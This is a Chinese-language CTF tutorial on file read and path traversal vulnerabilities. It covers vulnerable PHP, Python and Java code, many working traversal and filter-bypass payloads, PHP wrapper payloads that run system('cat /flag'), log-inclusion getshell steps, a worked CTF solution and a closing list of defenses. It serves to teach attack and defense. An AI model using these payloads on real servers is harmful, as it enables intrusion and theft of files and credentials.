一、漏洞原理
文件读取漏洞(又称任意文件读取、目录遍历、路径穿越)是指 Web 应用在读取文件时,未对用户输入的文件路径做充分过滤,导致攻击者可以通过构造特殊路径(如../)读取服务器上的任意文件。
核心成因:应用将用户可控的参数直接拼接到文件读取函数中,没有过滤路径穿越字符,或过滤不充分。
典型脆弱代码示例:
$file = $_GET['file']; include("/var/www/html/" . $file);访问?file=../../../../etc/passwd即可读取系统密码文件。
CTF 中的常见目标:
- 读取配置文件,获取数据库密码、密钥等
- 读取
/flag文件 - 读取网站源码,进行代码审计,发现其他漏洞
- 读取系统敏感文件(
/etc/passwd、/etc/shadow) - 读取日志文件,配合日志注入 getshell
二、常见文件读取函数与场景
2.1 PHP 中常见的危险函数
| 函数 | 说明 |
|---|---|
include()/require() | 包含并执行文件(可 getshell) |
include_once()/require_once() | 同上,但只包含一次 |
file_get_contents() | 读取文件内容并返回字符串 |
file() | 读取文件内容,返回数组 |
fopen()/fread() | 打开并读取文件 |
readfile() | 读取文件并直接输出 |
highlight_file()/show_source() | 高亮显示源码 |
parse_ini_file() | 读取配置文件 |
2.2 Python 中常见的危险函数
# 不当使用 open() 或文件读取 path = request.args.get('file') with open('/var/www/html/' + path, 'r') as f: return f.read()2.3 Java 中的危险场景
String filename = request.getParameter("file"); File file = new File("/var/www/html/" + filename); // 直接读取文件流2.4 常见的漏洞点
- 网站模板切换:
?template=index - 语言文件加载:
?lang=zh - 文件下载功能:
?download=report.pdf - 日志查看功能:
?log=access.log - 静态资源代理:
?url=/static/js/app.js
三、路径穿越(Path Traversal)基础
3.1 基础知识
../表示上一级目录- 在 Linux 中,
/etc/passwd是绝对路径 - Windows 使用
\或../,如..\..\windows\win.ini
3.2 基本测试 Payload
?file=../../../../etc/passwd ?file=/etc/passwd ?file=C:\Windows\win.ini3.3 判断路径深度
不知道当前目录在服务器中的层级时,可以逐级增加../,直到成功读取目标文件:
?file=../etc/passwd ?file=../../etc/passwd ?file=../../../etc/passwd ...通常加 5-8 层../即可到达根目录。
四、常见过滤与绕过技巧(CTF 重点)
4.1 过滤../
(1)使用绝对路径:
如果只过滤了../但没限制绝对路径,可以直接用:
?file=/etc/passwd(2)多层嵌套绕过(某些过滤只替换一次):
....// → 过滤掉 ../ 后变成 ../ ..././ → 过滤掉 ../ 后变成 ../(3)编码绕过:
- URL 编码:
%2e%2e%2f代表../ - 双重 URL 编码:
%252e%252e%252f(服务器解码一次后变成%2e%2e%2f,再解码变成../) - Unicode 编码:
..%c0%af、..%ef%bc%8f(全角斜线)
(4)反斜杠替代(某些系统,尤其是 Windows):
..\..\windows\win.ini4.2 过滤了关键字(如flag、etc、passwd等)
(1)通配符绕过(如果系统支持):
?file=/etc/pass* ?file=/etc/pas?wd(2)路径拼接:
利用路径中的.和空字符:
?file=/etc/./passwd ?file=/etc//passwd(3)截断绕过(旧版 PHP,magic_quotes_gpc=Off):
使用%00截断后面的扩展名:
?file=../../etc/passwd%00.jpg服务器拼接后为include("/var/www/html/../../etc/passwd\0.jpg"),但 C 语言字符串遇到\0即终止,所以实际包含/etc/passwd。
4.3 强制添加了后缀(如.php、.html)
应用自动给用户输入加上扩展名,如:
include($_GET['file'] . ".php");绕过方法:
- %00 截断(旧版 PHP):
?file=../etc/passwd%00 - 路径长度截断(旧版 PHP 5.2.x):利用 PHP 对路径长度限制,传入超长路径截断后缀。
- 利用伪协议(PHP):
?file=php://filter/convert.base64-encode/resource=/flag,可包含任意文件而不受后缀限制。 - 利用 zip/phar 协议:
?file=phar://uploads/shell.jpg/shell(需要先上传包含 PHP 代码的 zip/phar 文件,并绕过前面提到的大小写/后缀问题)。 - 包含日志文件或 session 文件:如果知道 session 保存路径(如
/tmp/sess_xxx),且内容可控(如 User-Agent 可注入 PHP 代码),则可以通过文件包含实现 getshell。
4.4 过滤了斜杠/
- 使用 URL 编码:
%2f - 使用 Unicode 编码:
%c0%af
4.5 PHP 伪协议绕过
如果只是文件读取(file_get_contents),可以利用 PHP 伪协议读取源码或文件:
(1)读取源码并 Base64 返回(防止代码被执行):
?file=php://filter/convert.base64-encode/resource=index.php解码即可得到源码。
(2)直接读取文件内容:
?file=php://filter/resource=/flag(3)利用 data 协议执行代码(如果allow_url_include=On):
?file=data://text/plain,<?php system('cat /flag');?>或者 base64 编码:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==(4)利用 input 协议(如果allow_url_include=On):
通过 POST 发送 PHP 代码:
?file=php://input POST: <?php system('cat /flag');?>4.6 包含日志文件 getshell
当无法直接读取 flag,但存在文件包含漏洞且allow_url_include=Off时,可以配合其他可控内容的文件来 getshell。
常见可控文件位置:
- Apache 访问日志:
/var/log/apache2/access.log、/var/log/httpd/access_log - Nginx 访问日志:
/var/log/nginx/access.log - SSH 登录日志:
/var/log/auth.log(需注意权限) - 邮件日志:
/var/log/mail.log - Session 文件:
/tmp/sess_<PHPSESSID>(PHP 默认 session 存储路径) - 上传的临时文件
利用步骤:
- 在请求的 User-Agent 或其它可控头中写入
<?php system('cat /flag');?> - 访问日志中会记录该 User-Agent
- 通过文件包含漏洞包含日志文件:
?file=/var/log/apache2/access.log - 日志中的 PHP 代码被执行,拿到 flag
五、不同场景下的利用手法
5.1 PHPinclude()系列 → 直接 get shell
- php://input:POST 提交 PHP 代码
- data://:直接写入代码
- 日志包含:如上所述
- session 文件包含:先注册 session,在 session 文件中写入代码,再包含
- 临时文件包含(利用条件竞争):PHP 上传文件会先存为临时文件(
/tmp/phpXXXXXX),可利用php://filter和条件竞争在临时文件被删除前包含它
5.2 PHPfile_get_contents()→ 文件读取
主要用于读取文件内容,不能执行 PHP 代码。可以使用php://filter读取源码。
5.3 Python 文件读取
通常不存在类似 PHP 的伪协议,主要是路径穿越。注意:
- 使用
../逐级穿越 - Unicode 编码绕过
/proc/self/environ读取环境变量/proc/self/cwd/flag读取当前工作目录下的 flag
5.4 Java 文件读取
Java 文件读取通常使用FileInputStream或 Spring 的Resource。绕过方法:
../穿越file:///etc/passwd协议- Spring Boot 中可能存在
/actuator泄露 - 读取
WEB-INF/web.xml、application.properties获取配置信息
六、CTF 实战示例:文件读取到 Flag
题目描述:一个网站提供“查看新闻”功能,URL 为?page=news1,页面显示对应新闻内容。存在任意文件读取。
步骤:
- 初步测试
尝试?page=news2,确认参数可控。尝试?page=../../../../etc/passwd,页面返回系统用户信息,确认存在路径穿越。 - 判断是否 PHP
尝试读取当前文件源码:?page=php://filter/convert.base64-encode/resource=index
若返回 base64 编码的index.php源码,说明支持 PHP 伪协议,且当前语言为 PHP。 - 尝试直接读 Flag
?page=../../../../flag
若成功返回 flag 内容,题目结束。 - 如果 flag 路径未知
- 读取
/proc/self/environ查看环境变量,可能找到 flag 路径 - 读取
/etc/nginx/sites-enabled/default或 Apache 配置,寻找网站根目录 - 读取当前文件源码,审计是否有隐藏逻辑或 flag 路径
- 读取
- 如果读取的是包含
.php后缀的文件include($_GET['page'] . '.php')
使用php://filter/convert.base64-encode/resource=/flag绕过(不需要后缀)。
或旧版 PHP 使用%00截断:?page=../../../../flag%00。 - 如果无法直接读取 flag(如文件权限限制)
考虑日志包含。在 User-Agent 中写入<?php system('cat /flag');?>,访问任意页面触发记录。
再通过?page=../../../../var/log/apache2/access.log包含日志文件,执行代码获取 flag。 - 拿到 Flag
使用php://filter读取/flag的 base64 内容,解码得到flag{path_traversal_master}。
七、常见防御措施
- 白名单限制:仅允许读取预定义的文件(如用 switch 匹配文件名),不接受路径参数。
- 过滤穿越字符:过滤
../、..\,但要考虑多种绕过方式。 - 限制文件读取根目录:如将用户输入拼接到固定路径后,但单纯拼接不可靠(仍可穿越)。
- 禁用伪协议:
allow_url_include=Off,allow_url_fopen=Off禁止php://input、data://等。 - 使用
open_basedir:限制 PHP 可访问的目录范围。 - 最小权限运行:Web 服务以低权限用户运行,限制可读取的文件范围。
- 禁用危险函数:
disable_functions禁用system、exec等,即使 getshell 也无法执行系统命令。 - 做好日志权限隔离:避免 Web 用户可读取系统日志。
八、总结
- 文件读取漏洞的核心是路径拼接未过滤,导致攻击者可以穿越目录读取任意文件。
- CTF 中考察的重点是绕过过滤(编码、截断、伪协议)和组合利用(日志包含 getshell)。
- PHP 伪协议(
php://filter、php://input、data://)是 PHP 环境下的杀手锏。 - 日志包含和 session 包含是“间接 getshell”的经典手法,必掌握。
- 防御不能只靠黑名单过滤,必须结合白名单、目录限制、权限控制等多层措施。